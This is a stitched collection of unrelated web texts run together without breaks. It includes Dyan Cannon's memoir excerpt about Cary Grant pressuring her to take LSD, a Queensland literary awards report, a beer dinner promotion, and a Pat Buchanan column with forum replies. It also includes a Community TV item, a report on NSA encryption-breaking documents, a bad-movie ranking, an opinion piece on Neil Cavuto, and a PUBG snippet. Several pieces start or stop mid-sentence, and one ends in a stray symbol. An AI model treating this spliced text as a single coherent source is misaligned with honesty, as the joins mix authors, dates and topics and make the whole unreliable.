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Bob Price serves as associate editor and senior political news contributor for Breitbart Texas. He is a founding member of the Breitbart Texas team. Follow him on Twitter @BobPriceBBTX and Facebook.My husband Cary Grant force-fed me LSD and it nearly killed me
Revealed: Actress Dyan Cannon, pictured at a fancy dress party in the 1960s, has lifted the lid on her troubled relationship with Cary Grant
My first dinner-date at Cary Grant’s home in Beverly Hills turned out to be as surprising as it was romantic.
On that balmy night in 1962, I was 25, an innocent young actress trying to work her way up in Hollywood.
I still couldn’t believe that I was being wooed by a man who, though 33 years my senior, was the greatest matinee idol of the day.
Our dates so far had been on neutral ground, — meals together in restaurants around Los Angeles.
Now Cary put an arm around my shoulders as he gave me a tour of his beautiful, ranch-style house in the hills above the city.
From the large patio, overlooking a panorama of twinkling lights that seemed to go on for ever, we watched the rose-tinged sun slide peacefully into the haze of the Pacific.
In the living room, where logs burned softly in a cavernous fireplace, Cary sat at his grand piano and serenaded me with the song You’re The Top.
Suddenly he stood up and told me to follow him into his bedroom. Before I could object, he flopped onto the bed, turned on the TV and motioned for me to lie alongside him.
‘Come on, I won’t bite,’ he said and at that moment his housekeeper Helen stepped into the room with a giant silver tray in her arms, laden with our dinner.
‘Just relax and stretch your legs out, dear,’ she instructed me, as if she was about to perform surgery and, with the TV show Dr Kildare burbling in the background, I began eating my way through the strangest date of my life.
After everything had been cleared, Cary reached into his bedside drawer.
‘Have you ever had a Picnic bar?’ he asked. ‘A what bar?’
‘A Picnic bar. They’re what makes life worth living for every English schoolboy. They’re positively unbeatable.’
As I watched him peel away the wrapper and savour the chocolate treat within, I could almost see in him Archibald Leach, the little boy who had endured a miserable childhood in England before coming to America to find stardom as Cary Grant.
That moment was touching and sweet beyond words, and astonishingly opposite to the wild debauchery which people imagined took place in Hollywood. If only things could have stayed that way.
Flawed family: Relations remained frosty between Cary and Dyan even after the birth of their daughter Jennifer in February 1966
We first met after Cary saw me in an episode of a TV show called Malibu Run, the Baywatch of its day, and invited me to his bungalow at Universal Studios to talk about a part in a movie he was producing.
‘Tell me about yourself,’ he said as he fixed me with his huge, cafe au lait eyes. We talked and talked and when I finally left his office, I was astonished to see that I had been in there for four hours.
The movie part never transpired, but we began dating and when he invited me back to the studios to watch him filming That Touch Of Mink with Doris Day, and then drove me to the set in his silver Rolls-Royce, I felt like the queen sitting next to the king.
As we became closer, Cary confided in me the story of his childhood in Bristol. When he was ten, he was told that his mother had gone away to the seaside for a rest. Soon afterwards, he was told that she was dead.
In fact, his father Elias, an alcoholic womaniser, had had her committed to a lunatic asylum, so he could continue with his drinking and philandering unhindered, and she was still there when he finally confessed to the deception some 20 years later.
Fractured: The couple's 'lethally polite cold war' came to an end when they divorced in 1968
By then, Cary was well on the way to becoming a Hollywood star and never forgave himself for not somehow realising the truth earlier. ‘I’d become wealthy and famous, living this very grand life, and all along my poor mother had been rotting away in this hell-hole,’ he told me.
Her disappearance from his life when he was a little boy had a long-lasting psychological impact, and he believed that his three failed marriages had much to do with a subconscious fear that his wives would similarly abandon him.
Of course, Hollywood gossip had put a different spin on Cary’s inability to commit to women, calling into question his sexuality. And, ironically, it was on the day after we first slept together that he introduced me to his old friend Noel Coward who was, of course, openly gay.
'Cary claimed LSD offered a path to truth and enlightenment, and his tactics to persuade me to try it were rather underhand'
Over lunch, when Cary had excused himself to go to the men’s room, Noel reached across the table, put his hand over mine, and said: ‘You know, my dear, I am wildly in love with that man.’
‘That makes two of us,’ I said laughing.
‘Alas, there are so many who ardently hoped he’d come over to play on our team, but I think it’s safe to say he’s solidly set in his ways,’ replied Noel, giving me a reassuring wink.
I needed no convincing about Cary’s heterosexuality but there were other, very fundamental, problems with our relationship. While I knew that I wanted to get married one day and have children, Cary was adamant that he’d never wed again.
‘I don’t know what it is but something happens to love when you formalise it,’ he told me. ‘It cuts off the oxygen.’
I was equally unsettled by his enthusiasm for taking LSD, the mind-bending drug to which he had been introduced by his third wife, actress Betsy Drake.
Cary claimed LSD offered a path to truth and enlightenment, and his tactics to persuade me to try it were rather underhand.
On a trip to London in 1963, we had an unexpected visitor. Cary had apparently decided that the time was right for my first ‘cosmic exploration’ and I came into the sitting room of our rented house to find that his acid guru, Dr Mortimer Hartman, had been flown over from LA to guide me through it.
‘It’s like leaping off the high dive,’ Cary told me when I complained about being ambushed in this way. ‘If you take too much time to think about it, you’ll back out.’
Starstruck: When Cary took Dyan to watch him filming That Touch Of Mink with Doris Day (pictured above), and then drove her to the set in his silver Rolls-Royce, she said she felt like 'the queen sitting next to the king'
Sensing I wasn’t convinced, he leaned forward and took my hand. ‘Dear girl,’ he said. ‘If you had found the key to ultimate peace of mind, wouldn’t you do anything to share it with me?’
Eventually I gave in, even though everything told me to run for my life, and Dr Hartman gave me a tiny blue pill to dissolve under my tongue.
Seconds later, or maybe it was hours, I looked at Cary, who was turning into an old man in front of my eyes. His skin sagged, his eyelids drooped, his neck hung like tangled bedsheets.
The walls had turned crimson and were breathing, in-out, in-out. Then came the dancing bears, who were scowling and singing nursery rhymes in German.
‘Make it stop,’ I screamed and Dr Hartman handed me another pill to knock me out. Eighteen hours later, I woke up feeling like I’d been run over by a truck.
‘How in the hell can giant bears singing in German bring you closer to God?’ I asked Cary, vowing that I would never repeat the experience.
I had hoped that taking LSD would bring us closer together but as 1964 arrived and we entered the third year of our courtship, it was clear that Cary still had no intention of marrying me.
Openly gay Noel Coward admitted to Dyan that he was 'wildly in love' with Cary. There had been rumours that Cary was homosexual
That Christmas, we attended a party hosted by Alfred Hitchcock, joining in the laughter as James Stewart fell victim to one of the whoopee cushions with which Hitch liked to surprise his guests. But New Year’s Eve found us alone at Cary’s house, sitting by the fire and sipping cognac.
‘Almost midnight,’ he said. ‘I wonder what 1965 will bring.’
‘Maybe a resolution to our relationship,’ I said.
‘I’m sorry, I can’t do more than I can do,’ said Cary.
‘Neither can I,’ was my reply. It was five past midnight and I kissed him on the cheek and drove to my apartment to begin the New Year alone.
We spoke on the phone a few times in the following weeks, but I held my ground. I was being clear about what I needed. Finally Cary came around to my apartment one night, not looking happy at all.
‘Damn it, Dyan,’ he said. ‘Do you want to get married?’ It was what I had waited so long to hear, but as the preparations for our marriage went ahead I noticed Cary making frequent criticisms of me.
He took issue with what I wore. He was furious when I had my hair lightened, telling me that blondes were bubbleheads because peroxide is absorbed into the brain.
His behaviour improved when I discovered that I was pregnant. He was delighted, and I told myself that everything would be even better once we were married and the baby was born.
But after our wedding in Las Vegas that summer, his moods continued to shift, without warning or apparent cause.
Over dinner one night, I asked if he felt something was missing.
‘You,’ he said.
‘Me?’ I replied. ‘Where did I go?’
‘Dyan, it’s not where you went. It’s where you haven’t gone.’
I knew where this was heading: he was referring to LSD again. Sure enough, he suggested that we should both have a session with Dr Hartman the following day.
Dark tunnel: Cary, pictured here with Katharine Hepburn in 1938 film Holiday, was obsessed with the idea that LSD would make Dyan 'whole as a person'. She claims he force-fed her the drug
When I pointed out that this could endanger our unborn baby’s life, he backed down, but relations between us remained chilly and polite even after our daughter Jennifer was born in February 1966.
This should have been the happiest time of my life but on the day that I returned from the hospital with Jennifer, I was furious and terribly upset to discover that Cary had given away Bangs, my beloved Yorkshire terrier. She had been with me for ten years, but he insisted that she might somehow have hurt Jennifer.
Friends tried to explain this away as the protectiveness of a late-life father, but being with Cary was increasingly like tip-toeing through a minefield.
I never knew what was going to set him off next and when he wasn’t at work he trailed me around the house, listing my shortcomings.
I didn’t place a coaster under my water glass. I parked my car in the driveway crooked. I shouldn’t be so friendly to the postman because he might get the wrong idea, or to the maid because it was good to keep a distance.
'I even agreed to his suggestion that we should get the nanny to take Jennifer to the park each Saturday, leaving us alone to take LSD together'
On and on it went and no matter how much I tried to change, it never seemed to be enough.
I even agreed to his suggestion that we should get the nanny to take Jennifer to the park each Saturday, leaving us alone to take LSD together. I hoped that I might emerge from these supposedly ego-shattering, soul-freeing sessions as a shiny new wife who could effortlessly meld as one with her husband, but this succession of acid trips only killed my appetite, disrupted my sleep and made me both nervous and drowsy.
When my parents became concerned about how thin I was looking and came to the house one day for a showdown with Cary, he was low-key and friendly but after they had gone, we didn’t speak to each other for two days.
Finally, on the third day, he found me crying in the bath-tub and looked at me with undisguised irritation.
‘Why are you crying?’ he asked.
‘You’re not giving our marriage a chance,’ I sobbed. ‘It’s almost like you want me to leave.’
‘Maybe that’s all I’m good at — making people leave me,’ he said as he left the house, slamming the door.
He didn’t come home that evening and the next morning his agent arrived and told me that Cary wanted a divorce. Later that day Cary came home and said that this had just been a ploy to get through to me.
Dyan pictured with her daughter Jennifer in 2005
He was still obsessed with the idea that LSD would make me whole as a person and the spectre of prising Jennifer loose from Cary if we divorced was more terrifying than anything I could think of, including an acid trip.
I agreed to try it again and this time the experience was more terrifying than it had ever been before. At one point I felt as if I was being sucked into a dark tunnel. ‘Get me out of here!’ I screamed at Cary. ‘I can’t breathe. I’m going to die.’
‘Then you’ll be reborn!’ he replied, kneeling beside me. His eyes seemed like two gleaming pools of mercury. ‘You’ll be reborn and you’ll be new.’
Only when I started screaming did he finally relent and give me a Valium to neutralise the effects of the LSD.
‘Never again,’ I told him when I had finally recovered. ‘My psyche won’t take another battering like that.’
‘If it won’t, it won’t,’ he said curtly and walked away.
We retreated back into the lethally polite cold war of our marriage but a turning-point came when some friends persuaded me to visit a spiritual healer named Lily Cowell.
‘I don’t know what to do,’ I told her haltingly. ‘He wants me to change, so I’ve been trying to change.’ And then I told her everything. When I had finished she gave me a gentle nod. ‘That doesn’t sound like love,’ she said.
Several months later, a judge granted me a divorce on the grounds of Cary’s emotional cruelty. Each of his lawyers’ criticisms of me as a wife and mother opened a new and frightful wound and the minute the divorce was over, it felt as if a black hole had taken up residence in my spirit.
Eventually I suffered a breakdown and was admitted to a psychiatric hospital where doctors told me the LSD had contributed to my fragile state of mind, and that I was lucky to be alive.
The truth is that Cary never loved the woman I was; he loved the ‘enlightened’ woman he hoped LSD would help me become. And if I needed any reminder of that, I had only to look back to the night we met in a restaurant in the months leading up to our divorce.
‘You keep asking me to change. I get that,’ I told him. ‘But Cary, right here, right now, do you love me just the way I am?’
I held my breath and gazed at him. His face was blank. Nothing.
‘Thank you for being honest with me, Cary,’ I said. ‘Now I have to go.’
It was the last time I would ever be alone with him.
Adapted from Cary Grant by Dyan Cannon, published by Robson Press at £18.99.Queensland Premier Annastacia Palaszczuk brings back public funding for Literary Awards
Updated
The Queensland Government will reinstate public funding for the state's Literary Awards after it was scrapped by Campbell Newman in 2012.
The former premier stopped funding the awards on the grounds it would save taxpayers at least $244,475 when he came to office.
The awards had been running since 1999 and were forced to continue with private backing.
Today, Ms Palaszczuk said the Government would match sponsorship funding and create a new category for a work of state significance.
She committed up to $125,000 in total for the awards.
"Funding the literary awards is the next step in taking the arts back to its rightful place, where Queensland is an arts leader," Ms Palaszczuk said.
She said Mr Newman's move to scrap the awards was "condemned not only by the Queensland literary community but across the country".
"I applaud the ongoing efforts of the grassroots organisers, sponsors, publishers and supporters who carried the torch to ensure Queensland's tradition of recognising outstanding writing across many genres would continue," she said.
The State Government will also fund three new awards for new and established Queensland voices.
"The $25,000 Queensland Premier's Award for a Published Work of state significance will recognise writing with a Queensland focus, celebrating important Queensland authors, stories, history and voices," Ms Palaszczuk said.
"And I will double our support to young people with two Queensland Premier's Young Publishers and Writers Awards, each to the value of $12 500, for Queensland writers aged 18-30.
"These two awards are for young Queensland writers who provide strong voices in traditional or contemporary forms."
The Government will also continue to support three Queensland Writers Fellowships, each to the value of $20 000, to provide writers with an opportunity to develop their manuscripts.
Topics: state-parliament, parliament, government-and-politics, books-literature, arts-and-entertainment, qld
First postedNew Almanac Sours & Beer Dinner New Almanac Sour Beers & Beer Dinners
Available Mid May Almanac is proud to announce the latest additions to our seasonal barrel-aged-beer program! Combining our love of barrel-aged sour beers and local agriculture, our Farmer’s Reserve series capture seasonal California harvests in complex sour ale form. To celebrate, we're teaming up with Stag Dining Group to create an unparalleled dining experience.
Farmer’s Reserve No. 3 Ale aged in wine barrels with strawberries and nectarines
6% ABV | 375ml bottles & limited draft Our third entry in our barrel-aged Farmer’s Reserve series is an ode to summer. When summer comes to California’s farmer’s markets, the stands explode with mountains of stone fruit and strawberries. We selected the sweetest coastal strawberries from Swanton Berry Farm and high summer Crimson Baby nectarines from Blossom Bluff Farms to make this tart, wild ale as a celebration of our California summer. Aged for 12 months in used white wine barrels with a blend of wild belgian yeasts and bacteria, this tart and bright wild ale has a huge aroma and tart finish. Read more...
Farmer’s Reserve No. 4 Ale aged in wine barrels with cara cara oranges, meyer lemons and buddha’s hand citrons
6% ABV | 375ml bottles & limited draft This tart, citrus-infused wild ale is the story of a farm. In 1921, Shotaro Hamada founded Hamada Farms in the San Joaquin Valley. Today, his grandson Cliff manages 235 acres of bountiful land. Brewed with a tantalizing blend of Hamada’s winter citrus—tart Cara Cara Oranges, sweet Meyer Lemons and fragrant Buddha’s Hand Citrons—this refreshing ale is aged in used wine barrels for over a year. Read more...
Stag Dining Group "Shot & A Beer Dinner"
May 19th, 3pm Join us to celebrate the release of these great beers: The Stags and Almanac invite you to a very special dining and sporting experience at the Pacific Rod & Gun Club for a brewmaster's dinner with Almanac Beer. This barrel-aged and farm to table event will highlight seasonal ingredients from the Bay Area and the release of several new beers from Almanac. Purchase Tickets Here Day's Events I
‘Pro-Shoot-Oh’ reception
Enjoy carved prosciutto, cheeses, and fruits while having the chance to shoot a round of skeet. II
Club House Social
After the guns are checked and safely stored away, you can enjoy a cold draft after your round of shooting and learn about the history of the Pacific Rod & Gun Club. III
The Main Event: Brewers Feast
Chefs Jordan Grosser, Ted Fleury, and Almanac have developed a sportsman's-inspired dinner menu. M E N U Scallop Ceviche
nasturtium, crispy yama imo, mojo verde, pickled ramps
Honey Saison- Farmhouse Ale brewed with Local Honey Asparagus
burrata, meyer mostarda, shaved fennel
Farmer's Reserve No. 4 - Barrel Aged Sour Ale with Meyer Lemons, Oranges and Buddha's Hand Citron Catalan Style Wheat Berries
trumpet mushroom, secret vinaigarette, baby kale, curry
Barrel Noir- Bourbon Barrel Aged Dark Ale 5 Spice Grilled Quail
green strawberries, tangerine, thai basil
Farmer's Reserve No. 3- Barrel Aged Sour Ale with Strawberries & Nectarines Porter Braised Beef Cheek
rancho gordo hominy, pickled onion, cilantro Biere de Chocolate- Robust Porter brewed with Cocoa Nibs Cheese Course
Extra Pale Ale- Dry Hopped American Pale brewed with Mandarins Details:
Dinner includes: Charcuterie reception, a mini-round of Skeet (5 shots), dinner and complementing beer.
21 and over. Reception will be outdoors and meals indoors.
Shooting is optional and course rules will be sent to you prior to the event. Please contact us at stags@dinestag.com with any questions. We look forward to having you join us at the table. Event Details:
$120 dinner
All guests must be 21+
Shooters reception begins at 3pm sharp. Purchase Tickets Here
Connect with us on Facebook and Twitter for the latest updates.Skip to comments.
When Dictators Fall, Who Rises?
Townhall.com ^ | April 26, 2011 | Pat Buchanan
Posted on by Kaslin
One month before the invasion of Iraq, Riah Abu el-Assal, a Palestinian and the Anglican bishop of Jerusalem at the time, warned Tony Blair, "You will be responsible for emptying Iraq, the homeland of Abraham, of Christians."
The bishop proved a prophet. "After almost 2,000 years," writes the Financial Times, "Iraqi Christians now openly contemplate extinction. Some of their prelates even counsel flight."
The secular despot Saddam Hussein protected the Christians. But the U.S. liberation brought on their greatest calamity since the time of Christ. Scores of thousands of those Iraqi Christians fleeing terrorism and persecution after 2003 made their way to Syria, where they received sanctuary from President Bashar Assad.
Now, as the FT and Washington Post report, the Christians of Syria, whose forebears have lived there since the time of Christ, are facing a pogrom should the Damascus regime fall.
Christians are 10 percent of Syria's population, successful and closely allied to the minority Alawite regime of the Assad family. Said one Beirut observer, "Their fear is that if the regime falls to the Sunni majority, they will be put up against the same wall as the Alawites."
For decades, notes the Post, the Assad regime "has protected Christian interests by enforcing its strictly secular program and by curbing the influence of the Muslim Brotherhood."
Bashar's father, Hafez al-Assad, slaughtered perhaps 20,000 followers of the brotherhood after they began a campaign of bombings and terror and attempted an uprising in Hama in 1982. Hafez al-Assad rolled up his artillery and leveled the city.
Observing the toll of dead protesters -- more than 100 this past weekend, more than 200 overall, the work of police, snipers and agents of the regime -- it is hard to summon up any sympathy for Bashar Assad. And if his regime were to fall, that would eliminate a patron of Hamas and Hezbollah and a close ally of Iran in the Arab world.
But before he embraces the Syrian revolution, President Barack Obama ought to consider, as President George W. Bush did not, what happens to Arab Christians when a long-repressed Muslim majority comes to power.
In Iraq, liberated Shiites used their newfound freedom to cleanse Baghdad of Sunnis while al-Qaida arrived and went straight after the Christians. In Syria, it would be a Sunni majority rising if Bashar and the Alawites were to fall.
What would that mean for Syria's Christians, for peace, for us?
Since 1973, even when clashes have occurred and wars have been fought in Lebanon between Israelis and Syria or its proxies, the Assad government has maintained the truce on the Golan Heights.
Would a Sunni-dominated Syria do the same?
With the fall of the Mubarak regime in Egypt have come Islamist attacks on Coptic Christians. How will the Copts fare if the Muslim Brotherhood wins the September election and writes Shariah into Egyptian law?
In "The Price of Revolution" a half-century ago, D.W. Brogan inventoried the costs of the revolutions that so often intoxicate secular Western man.
The French Revolution led to regicide, the September Massacres, the Terror, the slaughter of hundreds of thousands of Catholics in the Vendee region of France, and almost two decades of Napoleonic wars.
The abdication of Czar Nicholas II led to the dictatorship of Lenin, Trotsky and Stalin, who would effect the murder of 1,000 times more victims than did the Spanish Inquisition in 300 years. And among the Bolshevik murder victims were the czar, his wife and his five children.
Fifteen years after the hated Kaiser, ruler of the Second Reich, abdicated, a proud veteran of his army, Adolf Hitler, established a Third Reich.
No altar-and-throne regime ever compiled a record of horror to match those of the French and Russian revolutions -- or those of Mao Zedong, Ho Chi Minh, Fidel Castro and Pol Pot.
When the Shah of Iran fell, within a year we had the Ayatollah Khomeini.
Americans have welcomed the "Arab Spring." Yet we should be forewarned that among those liberated when dictators fall is the sort of men that Edmund Burke described:
"Men are qualified for civil liberty in exact proportion to their disposition to put moral chains upon their own appetites.... Society cannot exist unless a controlling power upon will and appetite be placed somewhere, and the less of it there is within, the more there must be without. It is ordained in the eternal constitution of things, that men of intemperate minds cannot be free. Their passions forge their fetters."
Americans, who incarcerate 2.3 million of their own citizens, 90 percent of them males, are surely aware of the truth Burke spoke.
And across the Middle East, there are millions of "intemperate minds" that would use the freedom and power democracy provides to majorities to suppress or eradicate their long-hated rival minorities.
If one-man, one-vote democracy across the Maghreb and Middle East is almost certain to strengthen the Muslim Brotherhood and to liberate Islamists to persecute Christians, why are we for it?
When did this idol of modernity called democracy, in which none of our fathers believed, become a golden calf we all must fall down and worship?
TOPICS:
Culture/Society
Editorial
Foreign Affairs
KEYWORDS:
To: Kaslin
Usually another dictator.
by 2 posted onby BenLurkin (This post is not a statement of fact. It is merely a personal opinion -- or humor -- or both)
To: BenLurkin
Usually worse, sometimes slightly better. Even so there is rarely any sort of improvement. I’ve never understood popular revolutions generally its just a shuffling of deck chairs. Why people think think they make a difference is beyond me.
To: Kaslin
Well John Adams said it best that liberty is for people who are moral/spiritual faith.
by 4 posted onby Biggirl ("Jesus talked to us as individuals"-Jim Vicevich/Thanks JimV!)
To: Kaslin
This essay by Pat Buchanan is well worth reading. The Burke quotation alone is powerful, and indeed should be memorized.
by 5 posted onby Malesherbes (- Sauve qui peut)
To: Kaslin
New World Disorder.
To: Kaslin
Unless, and it is miraculus that is, you were an Eastern European country, which went “free” back towards the end of the 80’s.
by 7 posted onby Biggirl ("Jesus talked to us as individuals"-Jim Vicevich/Thanks JimV!)
To: Kaslin
“General, you had a whole herd of colonels working on the plan to invade Iraq. Did any of them consider what to do after Iraq fell?”
“Well, of course they did!”
“And what was that plan?”
“That was Annex G - ‘Then the peace fairies come in and make everything OK’”.
“Well, at least there was a plan.”
by 8 posted onby blueunicorn6 ("A crack shot and a good dancer")
To: Kaslin
Disclaimer: Opinions posted on Free Republic are those of the individual posters and do not necessarily represent the opinion of Free Republic or its management. All materials posted herein are protected by copyright law and the exemption for fair use of copyrighted works.
FreeRepublic, LLC, PO BOX 9771, FRESNO, CA 93794
FreeRepublic.com is powered by software copyright 2000-2008 John RobinsonGet ready to despise Community‘s ongoing hiatus even more in three, two, one…
TVLine has learned exclusively that an upcoming episode of NBC’s currently benched sitcom will pay homage to late, great procedural Law & Order.
Community Cast Reveals What Will Happen When (Yes, When!) the Show Returns
The story behind “Basic Lupine Urology” is as zany as you’d expect from Community: The Greendale gang must channel their inner Lennie Briscoes when someone allegedly sabotages their science experiment — the yam they’re attempting to sprout is demolished! — and they decide to investigate the crime.
Once the Human Being in question is unearthed, Annie “Jack McCoy” Edison prosecutes the perp to the fullest extent of the law Greendale’s Code of Conduct, with Michael K. Williams’ Professor Kane acting as judge.
Exclusive: Community Is Going to War — Over Another Massive Blanket Fort!
And here’s the best part: Sources tell us the episode will feature the crime drama’s signature “dun-dun” sound effect!
Are you excited to see Community pay homage to Law & Order? Hit the comments!Thanks to Edward Snowden, we're getting a new look at which programs can successfully keep out the NSA. A report in Der Spiegel has shed new light on the NSA's encryption-breaking programs, and put a spotlight on the handful of programs that are still giving them trouble. The findings, based on leaked documents, were also presented onstage at the Chaos Computer Club Conference in Hamburg by researcher Jacob Appelbaum and Laura Poitras, who took the findings as a call to action. "We really wanted to have some of these answers for 15 years," Appelbaum told the crowd.
The reports describe "major problems" following users across the Tor network
The most impressive news to come out of the dump is that, as of 2012, certain emails and chats were still indecipherable by the NSA database when they had been encrypted with the right tools. Reports describe "major problems" following users across the Tor network, or deciphering messages sent through heavily encrypted email providers like Zoho. The agency reported similar problems when deciphering files that had been encrypted with TrueCrypt, an open-source disk-encryption program that was discontinued earlier this year. PGP encryption tools and OTR chat encryption also caused major problems for the agency, causing entire messages to disappear from the system, leaving only the message: "No decrypt available for this PGP encrypted message."
"No decrypt available for this PGP encrypted message."
Not every service fared so well. Following a particular file across the web is marked as "trivial," while decrypting emails sent through the Russian mail service "Mail.ru" is marked as "moderate." Virtual private networks also offer little protection: documents show the NSA planning the capacity to surveil 20,000 VPN connections per hour. Perhaps most alarming, the NSA seems to have completely circumvented the HTTPS system, which is used to secure connections between websites and browsers. By late 2012, the agency expected to be able to intercept 10 million HTTPS connections per day.
This also doesn't mean PGP and Tor users are completely inaccessible. Law enforcement has performed successful attacks on Tor using a variety of tactics, and even the most impressive encryption tool can't get around a local malware infection. The age of the documents has also raised concerns: documents from 2012 show the NSA struggling to crack the AES encryption standard — one of the most widely used standards in cryptography — and some observers are worried that the NSA's efforts may have succeeded in the two years since.
For security experts, the result is a mixed bag. Many of the cracked standards were already known to be faulty, so the news of widespread HTTPS circumvention is alarming, but not entirely surprising. At the same time, anyone depending on PG or Tor to throw off surveillance should be relieved to find evidence that the tools have often succeeded in doing just that. But for Appelbaum, the broader lesson was the ongoing fight between government surveillance and private communications. "During the |
poisoned vine making out with people so they die! This movie is a two-hour-long recreation of an acting class exercise: "Now imagine you are a cartoon character! Feel the bright colors; feel the little squiggly lines that are meant to convey slapstick humor." I vividly remember arguing for the excellence of this movie, because I was 12, in love with Chris O’Donnell, and dumb. It’s OK, Joel Schumacher; preteen girls and train wreck enthusiasts have your back.
4. ‘Masters of the Universe’ (1987)
GBS: 2,845.7
RT: 17%
Gruttadaro: This 1987 adaptation of a Mattel toy line has everything a Good Bad Movie needs: Dolph Lundgren, a villainous turn by a future Oscar-nominated actor, an utter lack of a budget, an astonishing amount of terrible special effects, and an ability to truly make you question how the movie was ever green-lit. From conception to execution, everything seems like an unmitigated mistake. Taken as a whole, though, it’s just a remarkable thing to behold.
3. ‘Congo’ (1995)
GBS: 3,323.9
RT: 23%
Fennessey: A signature trope of the Good Bad Movie is the bland white guy who is ostensibly the star but has been completely blotted out by the miasma engulfing his surroundings. Think Thomas Jane in Deep Blue Sea, or Freddie Prinze Jr. in She’s All That. In the case of Congo — a gloriously stupid Michael Crichton adaptation that trivializes civil war, animal rights, and the search for King Solomon’s mines — that guy is Dylan Walsh. Surrounding Walsh, and obviating his entire existence, is a ludicrously talented cast devouring a ham sandwich of a script artisanally crafted by Oscar-winning playwright John Patrick Shanley. Laura Linney tightens her ponytail as heiress-archaeologist Dr. Karen Ross, Ernie Hudson chomps his way through 10,000 cigars as Captain Munro Kelly, and Tim Curry does career-best/worst work as mythology-hunting explorer Herkermer Homolka. These folks quest to the titular African region with Walsh and Amy, a gorilla with advanced learning that allows her to communicate via a sign-language-assisted speaking computer. Seriously.
Congo had a long run as a "It’s 4 p.m., what’s on HBO?" movie that led to countless viewings for a latchkey teen like me. There are still remnants of it — particularly Delroy Lindo’s "Stop. Eating. My. Sesame Cake." rant — that have etched themselves in the creases of my brain. Nothing says good-bad like unforgettable, inexplicable dialogue, gorilla warfare, and Tim Curry.
2. ‘Wild Wild West’ (1999)
GBS: 3,425.6
RT: 17%
Gruttadaro: In 1999, Will Smith was the biggest movie star in Hollywood. By then, Kevin Kline and Kenneth Branagh were already Oscar winners. Salma Hayek was Salma Hayek. What could possibly screw up a movie featuring those heavy hitters? Turns out, a gigantic mechanical tarantula. Wild Wild West is an epic misfire with overly bombastic special effects and next to no coherence. Watching it now, it may be the film that is most capable of eliciting the question, "What were these people thinking?" But all of that chaos — bearing witness to such an utter failure in filmmaking — makes for quite a fun viewing experience. Plus, the Will Smith–Sisqo collab that accompanied the movie, "Wild Wild West," is an iconic BANGER.
1. ‘Godzilla’ (1998)
GBS: 3,480.6
RT: 16%
Luckerson: The first major Hollywood adaptation of the iconic Japanese franchise transformed Godzilla from the bipedal terror of Tokyo into a Jurassic Park stunt double that really, really wants to have babies in Madison Square Garden. Yes, this movie has a shoestring-thin plot barely held together by Matthew Broderick and two Simpsons cast regulars (Hank Azaria and Harry Shearer). Sure, the special effects — that mostly involve a giant lizard’s feet smashing Manhattan taxis — no longer impress. Fine, the idea that a horde of baby Godzillas trapped in the Garden would raid the concessions stand for popcorn may not pass biological scrutiny. I don’t care — Godzilla, the movie, was as big and dumb as its title character, but for a generation of reptile-obsessed children, it was also thrilling. Director Roland Emmerich has said kids love it more than his other films. I, for one, am still waiting for the full trilogy that was originally planned.In college, I was in a sort of “future broadcasters” club with a bunch of other students who were looking to do television hosting, news anchoring, radio announcing, podcasting, etc. The majority of us were women, so we often talked about gender-specific issues. When Gretchen Carlson sued Roger Ailes for sexual harassment earlier this month, I wasn’t shocked; my classmates and I had learned from an Emmy-winning producer just how common behavior like Carlson described was in newsrooms across the country.
While at this point, we simply don’t know if the allegations are true, we also learned that if we ever experienced harassment of any sort, we should go to our boss immediately. In fact, in the nine places I’ve worked, I was told to do that every time. At Barnes & Noble, my managers asked a man who was saying lewd things to me to leave the premises. At the spa where I worked reception in college, the owner believed me the moment I told her we were getting creepy phone calls. She helped me create a list of the phone numbers making the calls. When one of them called the next time, she picked up and let them have it. That gave me the impression I was valued. My safety was prioritized above a sale.
Since the second wave of feminism in the 1960s and ’70s, women have been infiltrating and dominating the workforce through nearly every field, but it’s no secret that walking into a well-established boys’ club can be a dangerous gamble. That doesn’t mean it shouldn’t be done. One of the important roles of a manager in the workplace is to provide support to employees who need it. Women who believe they were harassed on the job are employees who need it. Bosses should be the first line of defense against an alleged hostile work environment.
That’s why what Neil Cavuto did this week is so unconscionable. He defended Ailes against Carlson’s allegations and as someone who has a show on Fox News Channel, he joined ranks with a host of other employees of the network. Unlike Harris Faulkner or Greta Van Susteren or Geraldo Rivera, though, he isn’t just a host. According to the Fox website, he is also senior vice president and managing editor of not only Fox News Channel, but Fox Business, too.
That means Cavuto is someone’s boss. He is a lot of people’s boss. Many of them are undoubtedly women. By choosing to put more effort into his role as Ailes’ employee than his role as someone’s boss even though he could have chosen to stay quiet and not take sides, what message is he sending to those women? He’s certainly not sending the message that he is there for them, that he would believe them if they spoke out about harassment or assault, that he would at least reserve judgment until after an outside law firm completed their investigation or the case made its way through the courts, that he prioritizes his employees. He’s certainly not sending the message that he is a good leader. He is sending the message that he is a good follower.
The fear of not being believed is one of the greatest deterrents for women who are considering coming forward with their stories of rape, harassment, or assault. I don’t need to tell you this. You’ve seen the headlines. Television commentators, pundits, defense lawyers, and Internet commenters take turns musing about why Bill Cosby‘s accusers didn’t come forward sooner and if we, as a society, don’t believe dozens of rape accusers, why would we believe individual harassment accusers?
Beyond that, they use dubious sources to aggressively and publicly attempt to discredit other journalists with sexual harassment claims.They allow similar stories of harassment at other networks to go under the radar and disappear. They question why a star like Kesha would stay quiet for so long if she were really being sexually abused by her producer. They celebrate when a rape allegation turns out to be false and go to absurd lengths to bust the story open in a way you know they wouldn’t if it were, say, a false claim of robbery. They fill my Twitter mentions and the mentions of other outspoken victims’ advocates with messages about how they don’t believe Carlson because she doesn’t strike them as hot enough to harass. The underlying message here is that women are not believed.
That’s a cultural problem. The way to fix cultural problems is to have leaders address them and show other people the way forward. Leaders can be anyone from a politician to a celebrity to — you guessed it — a boss. Bosses are given more responsibility in the workplace because it is their job to lead. They are trusted to do the right thing and to lead by example. Cavuto didn’t do that. Not because he is expected to necessarily support Carlson, but by speaking out in favor of Ailes even before NewsCorp concludes its own internal investigation, he played judge. He upheld the cultural problem. He let his female employees know what side he would be on if they ever came forward with a similar story.
In my broadcasting club, we didn’t go over what would happen in a situation like this. We weren’t told what to do if our bosses gave public statements condemning respected women and calling their stories of harassment “nonsense.” We weren’t told what sort of reverberations that might cause among our ranks. We were only told that if we were harassed, we should always tell our bosses right away.
[image via screengrab]
For more from Lindsey: Twitter. Facebook.
This is an opinion piece. The views expressed in this article are those of just the author.Even though PLAYERUNKNOWN'S BATTLEGROUNDS (PUBG) continues to break records left and right, that doesn't mean players of the popular battle royale game aren't itching for something new. With the new desert map on the horizon, a few new drops for the game have been revealed including new skins and coloured parachutes.
